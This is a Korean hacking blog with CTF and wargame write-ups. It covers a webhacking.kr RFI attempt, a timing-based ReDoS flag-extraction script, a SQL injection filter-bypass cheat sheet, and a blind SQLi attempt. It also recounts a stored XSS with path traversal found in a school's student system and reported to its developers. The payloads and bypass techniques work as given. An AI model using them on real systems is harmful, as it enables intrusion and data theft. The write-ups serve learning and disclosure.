본문 바로가기

https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A

webhacking.kr Challenge 🍊

orange rfi 터트려야되는거같은데 저게 rfi가 터지는 코드인가? 리뉴얼 첫날부터 계속 쳐다봤는데 모르겠음 최신기술 공부 어디서함?

07001lab.tistory.com

발단

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
  if($_GET['view_version']){ echo phpversion(); exit; } // 7.3.8-1+ubuntu18.04.1+deb.sury.org+1
  if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster!
  if(isset($_GET['url'])){
    $url = $_GET['url'].".txt";
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
    if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
    if((parse_url($url)['host'!== "webhacking.kr"|| (parse_url($url)['port'!== 10009)) exit("invalid host or port");
    if(parse_url($url)['user'|| parse_url($url)['pass']) exit("you are not orange");
    include $url;
  }
  echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>
cs

귀찮으니 반말
일단 코드를 보자

url을 get으로 받아서 잴 뒤에 .txt 를 단다음

정상적인 URL인지 체크
http://webhacking.kr:10009/ 문자열이 존재하는지 체크
@ # ( ) \$ ` ' " _ { } ? 가 존재하는지 체크
host가 webhacking.kr 이고 port가 10009 인지 체크
user pass가 없는지 체크

한 뒤 url을 가져온다.

cat 버튼을 누르면

이렇게 된다.

dog 버튼을 눌러도

이렇게 된다.

////////////////////////////////////////////////////////////////////////////////////////////////

 7
    if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
cs

7번줄
schema://user:pass@host:port/path?=query=foobar#fragment
이렇게 url스럽게 생겼는지 체크한다.

10
    if((parse_url($url)['host'!== "webhacking.kr"|| (parse_url($url)['port'!== 10009)) exit("invalid host or port");
cs

10번줄
host가 webhacking.kr이고 port가 10009인지 체크한다.
우회하는 방법이야 있지만

 9
    if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
cs

이 나쁜 9번줄이 방해하고 있으니 우회할 방법을 모르겠다.


////////////////////////////////////////////////////////////////////////////////////////////////

근데 궂이 http schema를 써야되나?

1트

data schema를 사용한다.

10번라인때문에 host랑 port를 넣어야 한다.
근데 놀랍게도 작동한다.

ㅖ.

근데 base64 인코딩해서 이상한거 막 집어넣을수 있다.
혹시?

 6
    $url = $_GET['url'].".txt";
cs

6번줄 : ㅋㅋ
뒤에 .txt가 달려서 base64 디코딩을 못한다.

최박사 시즌 172288596호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

다른 schema 없나?

2트

file://
이라는 친구가 있다.

https://stackoverflow.com/questions/12711584/how-to-specify-a-local-file-within-html-using-the-file-scheme

How to specify a local file within html using the file: scheme?

I'm loading a html file hosted on the OS X built in Apache server, within that file I am linking to another html file in the same directory as follows: <a href="2ndFile.html"><button type="

stackoverflow.com

읽어보자.
안된다.

최박사 시즌 2060630504호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

얘는 되겠지

3트

nfs://
라는 친구도 있다.

https://datatracker.ietf.org/doc/html/rfc2224

RFC 2224 - NFS URL Scheme

datatracker.ietf.org

귀찮으니 rfc 로 설명 대신하겠다.

?!

ctf 역사와 전통에 따라서 flag는 /flag 에 들어있을거다.

 6
    $url = $_GET['url'].".txt";
cs

6번줄 : ㅋㅋ

/flag 에 들어있댔지 /flag.txt 에 들어있다 하진 않았다 ㅋㅋ

자 그럼 저 라인은 어떻게 우회해야 하나.
몰?루

최박사 시즌 349946786호 멸망

////////////////////////////////////////////////////////////////////////////////////////////////

님들은 이런거 하지 마세요

https://07001lab.tistory.com/entry/%EB%98%91%EA%B0%99%EC%9D%80%EA%B1%B0-2%EB%85%84%EC%A7%B8-%EC%B3%90%EB%8B%A4%EB%B3%B4%EB%82%98

똑같은거 2년째 쳐다보나

https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A-PHP-%EC%8B%A4%ED%8C%A8 webhacking.kr Challenge 🍊 / PHP / (실패) https://07001lab.tistory.com/entry/webhackingkr-Challenge-%F0%9F%8D%8A webhacking.kr Challenge 🍊 orange rfi 터

07001lab.tistory.com

'연구글 > ????' 카테고리의 다른 글

"정규식 마스터"  (0) 2022.01.03
RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
댓글

"정규식 마스터"

2022. 1. 3. 02:09

https://07001lab.tistory.com/entry/RegexAmateur

 

RegexAmateur

발단 웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요. Regex injection 이라네요. 이쯤 해킹을 했으면 저기 정규식 입력하는곳에 뭔가를 집

07001lab.tistory.com

발단

 

나를... "정규식 마스터" 라고 불러줄수 있겠나...?

 

1
/([0-9|a-z|A-Z|!|@|%23|\\$|%25|%26|\\^|\\*|\\(|\\)|-|_|\\+|=| |\\{|\\}|\\?|`|~|\\\\|\\<|\\>|\\/|\\|:|;|\'|\"]*){1000} |/
cs

같은 기괴한 정규식을 넣으니까 안됬지

나는 무슨짓을 한걸까

 

암튼 풀었으니 됬죠 뭐

'연구글 > ????' 카테고리의 다른 글

webhacking.kr Challenge 🍊 / PHP / (실패)  (0) 2022.12.01
RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
댓글

RegexAmateur

2021. 12. 28. 16:27

발단

웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요.
Regex injection 이라네요.

이쯤 해킹을 했으면 저기 정규식 입력하는곳에 뭔가를 집어넣으면 오류가 나와서 $flag를 뿜어낸다거나
아님 정규식에 sql의 sleep 같이 동작하는 무언가가 존재하겠고 그걸 써서 풀라는 문제에요.

정규식 주입이 뭐냐고 하면 저도 잘 모르긴 한데 찾아보니깐
https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regular expression Denial of Service - ReDoS Software Attack | OWASP

Regular expression Denial of Service - ReDoS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

저런거 있더라고요.

정규식은 동기로 작동하는데 이상한거 집어넣어서 무한루프?스러운게 돌게 해서 다른 작업 못하게 만들어서 뻗게 만드는 그런거같더라고요.

근데 문제는 $flag 를 빼내는거지 문제를 뻗게 만드는게 아니잖아요?

그래서 다시 구글링을 해보던중에

1
2
3
4
5
"secretkey".match(/sa([a-z]*){1000|/);
//return
 
"secretkey".match(/se([a-z]*){1000|/);
//deeeeeeeeeeeeeeeeeeelay
cs

저런걸 발견하게 됬어요.

첫번째줄은 문자열이 sa로 시작하지 않으니 바로 끝나는데,
두번째줄은 se로 시작하니 다음으로 넘어가는데, 그 뒤에 엄청난 연산을 하게 만들어서 강제로 딜레이를 걸어버리는 구조인것 같아요.

근데 또

1
2
"se1cretkey".match(/se([a-z]*){1000|/);
//return
cs

저런걸 집어넣으면
se로 시작하니 다음으로 넘어가는데 그 다음은 숫자고, 소문자 a-z만 찾게 되있으니 숫자를 만나고 바로 끝
으로 작동하는것 같더라고요.
그러니 숫자, 영소문자, 영대문자, 특수문자를 전부 찾게끔 해놓으면 연산량도 늘어나고 저런 예외도 없어지겠죠?

어떻게 풀어야 할지 알았으니 테스트용으로 개인 서버에다가 비슷한 환경을 만들고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*code by 최박사 | D0C70R_CH01 (https://gitlab.com/D0C70R_CH01) */
 
import * as request from "request";
import consoleStamp from "console-stamp";
//import 끗
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
const __URL: string = "http://개인.서버/regex.php"
//URL
 
const __HEADER: request.Headers = 
{
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"
};
//헤더
 
const __STR1: string = "?regex=";
const __STR2: string = "F";
const __STR3: string = ".......................([0-9|a-z|A-Z|!|@|%23|\\$|%25|%26|\\^|\\*|\\(|\\)|-|_|\\+|=| |\\{|\\}|\\?|`|~|\\\\|\\<|\\>|\\/|\\|:|;|\'|\"]*){1000} |";
 
const __KEYWORD: Array<string> = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0','!','@','#','\\$','%','\\^','&','\\*','\\(','\\)','_','-','\\+','=','\\|','\\',' ','\{','\}','\/','\\<','\\>','\\\\','\'','\"'];
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
var _cs = consoleStamp(console, {pattern: "[HH:MM:ss.l]"});
 
var startTime: number;
var endTime: number;
var rate: number = 0;
var k: string;
var opt: request.CoreOptions;
 
function floop(i: number): void
{
    if(i == __KEYWORD.length)
    {
        console.log();
        console.log(k + " : " + rate + "ms 소요");
        return;
    }
 
    opt = 
    {
        headers: __HEADER
    };
 
    startTime = Date.now();
    request.get(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[i] + __STR3), opt, function(e: any, res: request.Response, body: any): void
    {
        endTime = Date.now();
        
        if((endTime - startTime) > rate)
        {
            rate = endTime - startTime;
            k = __KEYWORD[i];
        }
 
        console.log(__KEYWORD[i] + " : " + (endTime - startTime) + "ms 소요");
 
        floop(++i);
    });
}
 
floop(0);
 
// console.log(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[0] + __STR3));
cs

자동화용 스크립트도 만들고
개인서버에서 잘 돌아가고 FLAG도 잘 뽑아내는걸 확인했어요.

그리고 멸망했어요.
원격에서는 9번째까지는 잘 뽑아내다가 10번째부터 안나오더라고요. 뭔가 내가 모르는 무언가가 있나보죠 뭐.

그렇게 최박사의 웹케알 랭킹에 이름 다시 올리기는 오늘도 실패하고 말았어요.
살려주세요.

https://07001lab.tistory.com/entry/%EC%A0%95%EA%B7%9C%EC%8B%9D-%EB%A7%88%EC%8A%A4%ED%84%B0

"정규식 마스터"

https://07001lab.tistory.com/entry/RegexAmateur RegexAmateur 발단 웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요. Regex injection 이라네요. 이쯤..

07001lab.tistory.com

댓글

네 최박사에요.

 

리뉴얼 웹케알 롸업을 더 쓰자니 안그래도 웹케알 랭킹에서 이름 없어졌는데

롸업 더 쓰자니 영영 랭킹에 못들어갈것 같아서 이런거나 쓸게요.

 

전에 몇번 연락처와 함께 해킹 알려주세요. 하고 찾아오는 사람들이 있더라고요.

전부 현생이 바빠서 대답 못해드렸는데 계속 이 블로그 보고있다면 이거 읽어보세요.

 

근데 막상 쓰자고 하니 전 웹해킹에 포렌식 조금 만지는 사람인지라.

웹해킹 기준으로 설명을 하자면요.

 

보통 웹해킹 하려면 HTML이랑 JS를 알아야 한다고 하잖아요?

알아야 하는건 맞는데 뭔가를 막 만들고 그럴정도로 배울 필요는 없어요.

저도 웹페이지 만들라고 하면 못만들어요.

 

어느정도 알면 되느냐?

 

언어의 특성을 알고 대충 읽을수 있으면 되요.

이짤에서 잘못된점을 찾을수 있으면 JS의 특성을 이해했다고 할 수 있는거에요.

 

거기에다가 PHP같은 서버사이드 언어도 읽을수 있어야 하고,

DB 쿼리도 짤줄 알아야 하고,

근데 만들어 보면 읽는 능력도 같이 늘어나니깐 뭐 상관없으려나요? 암튼

 

거기에다가 간단한 스크립트 언어 Python 같은거 코딩할 수 있으면 많이 도움이 될거에요.

자동화 스크립트 만들일이 좀 많을수 있거든요.

 

그리고 해커처럼 생각을 해야되요.

 

마땅한 표현이 생각이 안나서 이렇게 표현을 하는데 어떤거냐 하면요.

어느 은퇴한 프로그래머가 술집을 차렸어요.
술집의 이름은 foo bar라고 하기로 했어요.

술집의 문을 열기 전에 친구를 불러서 메뉴를 검증받기로 했어요.
친구가 들어와서는 맥주를 시켜봤어요. 맥주 두잔도 시켜봤어요.
맥주 0잔도 시켜보고, 맥주 -1잔도 시켜봤어요. 머ㅗㅎㄹㅇㅁ너ㅗ도 시켜보고, 고양이도 시켜봤지만
별 문제가 없는걸 확인하자 흡족한 표정을 지으며 손님을 받기 시작했어요.

그렇게 첫 손님이 들어왔고, 손님이 말했어요.
"여기 화장실이 어디에 있어요?"
술집은 불길에 휩싸였고 모두 죽어버렸답니다.

저런거라고 할까요?

저런식으로 버그가 터지고 취약점이 되고 개발자가 야근을 하게 되는거에요.

아닌가?

 

아무튼 사용자가 직접 조작할 수 있는 부분에 대해서는 전부 확인을 해봐야 해요.

혹시 아나요? 거기서 취약점이 터지게 될지~

 

대충 저런 능력들을 키우면 도움이 될거고요.

 

웹프록시 사용법을 알아둬야 해요.

Fiddler나 Burp Suite 같은거요.

 

브라우저랑 웹서버 사이의 통신을 가로챌 일이 굉장히 많을거에요.

 

언어부분은 따로 공부해야 하는게 맞는데 사고력이랑 툴 쓰는법같은건 직접 구르면서 익히면 되는거라서

어느정도 언어에 대한 자신감이 붙었다 싶으면

경험치 먹으러 suninatas나 webhacking.kr 같은 워게임에 머리 박아보자고요.

못풀겠다 싶으면 롸업도 찾아보고 하면서 푸는게 목적이 아니라 경험치 먹는걸 목적으로 말이에요.

 

3줄요약

1. 코드 읽을수 있을만큼 언어공부를 하자

2. 간단한 스크립트 만들기나 툴같은거 쓰는법을 익히자

3. 경험치를 먹자

 

빼먹은거 있으면 덧글로 적어줘요.

'연구글 > ????' 카테고리의 다른 글

"정규식 마스터"  (0) 2022.01.03
RegexAmateur  (2) 2021.12.28
코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
댓글

 

발단

갑자기 해시끼리 비교를 어떻게 하냐고 묻더라고요.
당연한걸 묻길래 당연하게 대답을 해줬더니
salt가 랜덤이래요.
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

MITM 막는다고 저런다는데
저러면 확실하게 평문이 뭔지 숨길수 있어요.
근데 서버도 평문이 뭔지 모른다는거에요.

doNotDoThis.js
0.00MB

코드에요.
평문끼리 비교
클라 평문 - 서버 해시
클라 해시 - 서버 평문
클라 해시 - 서버 해시
클라 해시(고정 소금) - 서버 해시(고정 소금)
클라 해시(랜덤 소금) - 서버 해시(랜덤 소금)
순이에요.
결과는 다들 알겠죠?

주작 없이 마지막줄 true 띄우고 디스코드 dm으로 인증하면 커피 사드려요.

MITM 당하는게 싫다면 HTTPS를 쓰거나
난독화로 꼬아서 'ㅅㅂ 이게뭐야' 소리가 나오게 하거나
보안장비를 사서 달면 되겠죠?

???? : 난 이렇게 안짜는데요?
아님 말고요.

+
시나리오가 어떻게 되냐면

1. 가입할때 랜덤소금으로 해싱해서 DB에 박힘
2. 클라에서 랜덤솔트로 해싱해서 전송
3. 서버에서 랜덤솔트 / 랜덤솔트 비교해서 로그인 시도
4. 로그인 실패

a. 랜덤솔트로 해싱되서 전송되는 정보를 중간에서 탈취
b. 해시크랙 해서 평문 확보
c. 서버의 DB에 박혀있는 해시의 소금이 뭔지 알아야 로그인을 하지 싯팔

인거에요.

'연구글 > ????' 카테고리의 다른 글

RegexAmateur  (2) 2021.12.28
최박사가 설명하는 해킹 입문하는법  (0) 2021.12.27
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
SQL Injection 필터 우회 정리글  (0) 2020.08.25
댓글

이런저런 소스코드들을 뜯어보다보니 잘못하면 대형사고 나게끔 만들어진게 여러개 있더라고요.

그래서 그냥 비정기 간행물 식으로 이런거 하지 마세요 하는거 보여줄거에요.

 

아무튼 여기에 평범한 어드민 로그인창이 있어요.

 

미리 준비해둔 유저권한 계정을 이용해서 로그인을 해보면

 

id는 평문, pw는 sha512 해시를 돌려서 JSON으로 묶어서 날리게 되요.

혹시나 해서 하는말이지만

PW를 해싱해서 request 보내니깐 중간에서 가로채도 원래 비밀번호가 뭔지 모르겠지!! 히히

하다가 혼나요.

저런식으로 보내면 DB에 들어있는건 해시일거니깐 평문을 몰라도 상관없거든요.

또, 해싱해서 보내니깐 pw에 a' or 1=1# 같은거 넣어도 해싱되니 작동 안하겠지!! 히히

하면서 SQLI 안막아놔도 혼나요.

 

아무튼 로그인을 시도하면

 

1. 클라이언트에서 ID/PW를 전송함.

2. 서버에서 ID/PW를 받고 쿼리를 돌림.

3. 결과를 클라로 전송.

4. 결과의 accessLevel 컬럼을 바탕으로 로그인 가능여부를 파악.

 

이 되도록 되어있는데

 

뭔가 이상하지 않아요?

이미 토큰 받았는데 클라이언트에서 못넘어가게 하는거잖아요.

 

그러니 그냥 결과의 accessLevel 을 변조해버리면

 

그대로 다음으로 넘어가면서

 

개인정보를 싹 빼돌린다든지 할 수 있는거죠.

 

그러면 저걸 어떻게 막아야 할까요?

Query OK 뜨고 accessLevel 이 admin 의 것일경우에만 결과를 클라로 보내준다든지 하면 되겠죠?

 

???? : 난 이렇게 안짜는데요?

아님 말고요.

댓글

19번 문제에요.

배점은 376점, 이름은 ip log table 이에요.

 

ip log table

 

Blind SQLi challenge.

You can use 'Ascii' to 'Date'

 

이름에 맞게 테이블이 있어요.

그리고 아무거나 하나를 눌러보면

 

시간이 떠요.

 

POST로 idx를 넘겨주는 방식이네요.

 

저기에다가 구문을 넣어보면?

 

IP log time : 1970-01-01 09:01:12

count(table_name)유닉스 타임스템프로 변환되서 튀어나오네요.

09:01:12 니까 테이블이 72개 있다는 말이겠네요.

 

아무튼 이런식으로 첫번째 테이블의 길이를 알아내보면

 

11글자래요.

이제

idx=0 union select ascii(substr(table_name,1,1)) from information_schema.tables limit 0,1%23

같은식으로 테이블 이름을 뽑아내는 노가다를 하면 되겠네요.

왜 where절 안쓰냐고요? 막혀있던데요?

 

A

 

L

 

L

 

_

 

P

 

L

 

U

 

G

 

I

 

N

 

S

 

ALL_PLUGINS

같은식으로 테이블을 찾으면 되요.

 

근데 왜 실패냐고요?

 

이게

 

왜 안될까요?

'연구글 > ????' 카테고리의 다른 글

코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
SQL Injection 필터 우회 정리글  (0) 2020.08.25
dodam.b1nd.com / stored xss  (0) 2020.08.23
webhacking.kr 30 (old) / 실패  (0) 2020.08.22
댓글

 

뭔가 사진이 있는척은 하고 싶으니깐 이걸로 할게요.

워게임 풀면서 알게된 각종 우회방법들을 그냥 주욱 써볼거에요.

 

1. OR / AND

|| &&

select * from table where id='admin' and pw='password'

select * from table where id='admin' && pw='password'

 

2. 주석

# --

-- 주석 뒤에는 꼭 공백문자가 하나 있어야됨.

공백문자와 #가 동시에 필터링될때 -- 를 넣어서 작동을 안한다면 --%09 를 넣어보자. (%09는 탭문자이다.)

07001lab.tistory.com/entry/webhackingkr-Challengeold-27-DB

참고.

 

3.

like in

select * from table where id='admin'

select * from table where id like 'admin'

select * from table where id in('admin')

 

4. substr

left('asdf',2)=0x6173

substr('asdf',2,1) 과 right(left('asdf',2),1) 의 결과는 s 로 같다.

07001lab.tistory.com/entry/webhackingkr-Challengeold-55-DB

참고.

 

5. ereg / eregi

앞에다가 %00 (널문자) 를 집어넣어서 우회가능.

admin -> %00admin

 

6. replace

replace("admin", "", $in) 식일때

aadmindmin 식으로 우회 가능.

07001lab.tistory.com/entry/webhackingkr-Challengeold-24-PHP

참고.

 

7. ' " 

'admin' -> 0b0110000101100100011011010110100101101110 or 0x61646d696e 

2진수 혹은 16진수로 변환.

 

8. 공백문자

/**/ %0a 괄호 사용

select * from table where id='admin';

select/**/*/**/from/**/table/**/where/**/id='admin'

 

9. addslashes() + mb_convert_encoding()

%bf%27꩜' 같은걸 집어넣어서 따옴표를 닫을수 있음.

07001lab.tistory.com/entry/webhackingkr-Challengeold-50-DB

참고.

 

10. 출력값이 없을때 

sleep(if((조건),5,0)) 식으로 조건에 맞으면 5초 지연되게 만들어서 BLIND SQL Injection 가능.

07001lab.tistory.com/entry/webhackingkr-Challengeold-57-DB

 

참고.

 

11. LIKE 사용시

_ 나 % 같은 와일드 카드 사용.

_ 는 그 위치의 문자 한개.

% 는 그 위치의 문자 한개 이상.

07001lab.tistory.com/entry/webhackingkr-Challengeold-56-DB

참고.

 

12. 주석 활용
select * from table where id='{$id}' and pw=md5('{$pw}')

같은 구문이 있을때

ID 에 '/* pw 에 */or id='admin'#

같은걸 집어넣어서

select * from table where id=''/*' and pw=md5('*/or id='admin'#') 

로 인식되게 만들수 있음

07001lab.tistory.com/entry/webhackingkr-Challengeold-50-DB

참고.

 

13.  결과가 여러 row 로 나올때 

limit 0,1

 

14. DB명, 테이블명, 컬럼명을 알아내야 하는데 imformation_schema 를 사용할수 없을때
procedure analyse()

와 limit 를 사용해서
{DB}.{table}.{column}

식으로 뽑아낼수있음.

07001lab.tistory.com/entry/webhackingkr-Challengeold-53-DB

참고.

 

14. ERROR Based 할때

0xfffffffffffff*0xfffffffffffff

exp(710)

(select 1 union select 2)

난 첫번째를 가장 많이씀.

첫번째껀 integer 범위초과 에러 뜨고

두번째껀 exp 함수에 710이상이 들어가면 에러가 뜬다고함 잘 안써봐서 모름

세번째껀 서브쿼리에 2개의 열을 리턴하게 만들어서 오류를 뿜어냄

 

15. information_schema 쓰는데 where 절 못쓸때

limit 가지고 이진탐색 돌려서 길이를 알아낸다음 뒤에서부터 하나씩 찾아보기

select table_name from information_schema.tables limit 0,1 # 길이가 0보다 크면 값이 나옴.

select table_name from information_schema.tables limit 100,1 # 길이가 100보다 크면 값이 나옴. -> 100보다 작으면 값이 안나오니 이진탐색 가능.

앞부분은 기본적으로 시스템에서 생성하는 테이블들임.

그러니 찾는 테이블은 뒤쪽에 있을 가능성이 매우 높음.

근데 예외도 있긴 하더라.

table_name column_name 둘다 같은방법으로 가능함.

 

16. SQLite + addslash()

저거 작동 안함.

' 앞에 자동으로 \ 달아주는데 \ 를 일반문자로 인식함.

 

17. insert into table values (1, 'id', 'pw')

insert inito table values (1, 'id', 'pw'),(2, 'admin', 'asdf')

'),(2, 'admin', 'asdf

같은거 집어넣으면 인젝션됨.

 

더 생각나는게 없어서 생각날때마다 글 갱신할게요.

'연구글 > ????' 카테고리의 다른 글

코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
dodam.b1nd.com / stored xss  (0) 2020.08.23
webhacking.kr 30 (old) / 실패  (0) 2020.08.22
댓글

 

몇달전에 학교에서 학생 관리 시스템을 만들어서 릴리즈를 했더라고요.

웹이더라고요????

 

왠만한건 다 해킹 못하게 막아놨다고 하길래 재미로 한번 취약점을 찾으려 삽질을 해봤어요.

아 그리고 저기 학교 내부망이라서 외부에서 접근은 불가능

 

 

기능중에 자신이 뭘 잃어버렸는지, 자신이 뭘 습득했는지를 올릴수 있는 게시판같은게 있어요.

 

 

안에다가 분실물인지, 습득물인지를 체크할수있는 체크박스가 있고,

제목, 장소, 내용 입력과

파일 업로드가 있네요?

 

 

 

이런식으로 빈칸을 채우고 확인을 누르면 업로드가 되는데

 

여기에다가 이미지가 아닌 이상한걸 집어넣으면?

 

 

이미지만 올려주세요. 라면서 프론트에서 걸러내버리네요.

 

그러면 나와라 피들러

 

 

피들러를 이용해서 프론트 인증을 싹 우회해버리면?

 

서버에서 걸러내버리네요.

 

진짜로요.

 

Content-Type 에 맞게 헤더까지 검사를 하나보네요.

 

그러면 헥스에디터를 꺼내서

 

 

정상적인 PNG 파일에다가

 

맨 뒤에

<script>alert("X55 I3Y D0C70R_CH01");</script>

를 때려박아놓고

업로드를 시도하면?

 

 

놀랍게도 올라가지만

 

.png 이기때문에 이미지로 보여지죠.

 

 

그리고 파일이름도 임의로 바뀌어버리는데

 

내용은 원본 그대로에요.

다운로드 받아서 헥스에디터로 뜯어봤는데 맨 뒤에있는 스크립트가 남아있더라고요.

정말로 다 막아놨나 싶어서 피들러로 하나하나 다 찾아보던중

 

 

????

임의로 바뀌어버리는 파일이름을 프론트에서 정해주네요????

 

그러면 파일이름(과 아마도 경로)을 마음대로 바꿔버릴수 있다는거고...

 

 

Content-Type 에서 확장자를 때다가 프론트에서 정해준 파일이름과 합쳐서
api/image/{확장자}/{바뀐파일이름}.{확장자}

에다가 저장하는것같은데

 

 

 

파일이름을 임의의 무언가로 바꾸고

 

Content-Type 를 image/html

로 바꿔버리고 업로드를 시도해보면?

 

위에서 만들었던 png파일을 html로 열수 있겠네요.

 



 

 

엥 안되네

 

진짜 안되는건가 하고

직접

api/image/html/xss.html

로 접근을 해봤더니

 

 

들어가지더군요.

 

 저 alert를 봤을때

엥???? 이게 왜들어가져?????????????????????

였어요.

 

 

그리고 발견한 다른 취약점중에 저기 저부분을 건들여서 글이 로드된순간

해커가 지정해놓은 웹서버 내부의 위치에 GET를 날려 페이지를 로드하게 만드는 취약점이 있어요.

 

api에서 이미지를 가져올때 api/image/{type}/{uploadName}.{type}

로 가져오더라고요

그걸 이용해서 type를 ../../../ 같은걸 집어넣어서 원하는파일을 로드해올수 있더라고요.

 

위에 심어둔 XSS와 이거를 합치면????

 

빠밤!

 

Stored XSS 네요.

 

바로 서버팀 대장한테 제보하니깐 막으라고 서버팀한테 시켰다고 하더라고요.

 

옆에서 열심히 웹개발을 하는 친구들한테 항상 웹은 사람x끼가 하는거 아니라고 맨날 그랬었는데,

이런식으로 또 증명을 해내게 되네요.

 

여러분들도 웹해킹을 배워서 친구가 만든 서비스를 털어서 일거리를 늘려주도록해요.

ㅈㅅ

 

안그래도 저거 서버팀 일 많다고 하던데... 화이팅!

 

????: 웹은 사람x끼가 하는거 아니다.

????: 아니 내가 해킹을 한게 잘못이 아니라 취약점을 만든사람이 잘못한거라니깐?

 

 

+

저거가지고 메인페이지의 베너를 저걸로 바꿔버리려고 했지만,

API서버랑 메인페이지의 베너 이미지가 들어있는 서버가 다른서버였는지 안올라가지더라고요.

 

++

07001lab.tistory.com/entry/2020%EB%85%84-7%EC%9B%94-10%EC%9D%BC-%EC%98%A4%ED%9B%84-2%EC%8B%9C-57%EB%B6%84%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%9C-%EA%B8%80%EC%9E%85%EB%8B%88%EB%8B%A4

 

2020년 7월 10일 오후 2시 57분에 저장한 글입니다.

07001lab.tistory.com/entry/dodamb1ndcom-stored-xss dodam.b1nd.com / stored xss 몇달전에 학교에서 학생 관리 시스템을 만들어서 릴리즈를 했더라고요. 웹이더라고요???? 왠만한건 다 해킹 못하게 막아놨다고..

07001lab.tistory.com

 

댓글

 

30번 문제에요.

배점은 550점, 분야는 서버에요.

 

 

소스보기 버튼과 파일 업로드기능이 있네요.

 

먼저 소스보기를 눌러봤어요.

 

 

db에 연결해서 flag에 뭐든 존재하면 flag를 보여주는것같네요.

 

그런데 mysqli_connect() 가 조금 이상하네요...?

 

원래 인자에

mysqli_connect(호스트,ID,비밀번호,DB)

 

가 있어야 할건데...

 

 

 

그렇다는건 .htaccess에 php관련 설정을 건들여서 내 서버의 DB에서 flag를 가져올수 있겠네요!

 

 

나와라 서버...?

 

???????????????????????????????????????????????????????????????????????????????????????????????????????????????

 

 

'연구글 > ????' 카테고리의 다른 글

코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
SQL Injection 필터 우회 정리글  (0) 2020.08.25
dodam.b1nd.com / stored xss  (0) 2020.08.23
댓글